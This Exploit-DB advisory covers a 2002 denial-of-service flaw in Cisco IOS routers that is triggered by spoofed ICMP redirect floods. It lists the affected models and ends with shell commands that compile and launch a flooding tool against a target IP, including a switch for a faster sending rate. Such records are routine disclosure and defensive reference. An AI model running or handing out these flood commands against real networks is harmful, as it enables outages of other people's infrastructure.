Cisco IOS 11.x/12.0 ICMP Redirect Denial of Service Vulnerability

ID EDB-ID:21465
Type exploitdb
Reporter FX
Modified 2002-05-21T00:00:00


Cisco IOS 11.x/12.0 ICMP Redirect Denial Of Service Vulnerability. CVE-2002-2315. Dos exploit for hardware platform


IOS is the Internet Operating System, used on Cisco routers. It is distributed and maintained by Cisco.

It has been reported that it is possible to cause a denial of service in some Cisco routers by sending a large amount of spoofed ICMP redirect messages.

This vulnerability has been assigned Cisco bug ID CSCdx32056.

The following products are known to be affected:

Cisco 1005 running IOS 11.0(18)
Cisco 1603 running IOS 11.3(11b)
Cisco 1603 running IOS 12.0(3)
Cisco 2503 running IOS 11.0(22a)
Cisco 2503 running IOS 11.1(24a) 

To generate random ICMP redirect messages, a sender tool is available
at, which has to be
linked with the IRPAS packet library.

linuxbox# cd /where/irpas/is
linuxbox# make libpackets.a
linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets
linuxbox# ./icmp_redflod -i eth0 -D <destination_ip> -G <fake_gateway>

On high bandwidth networks, the command line switch -w0 can be used to increase the sending rate.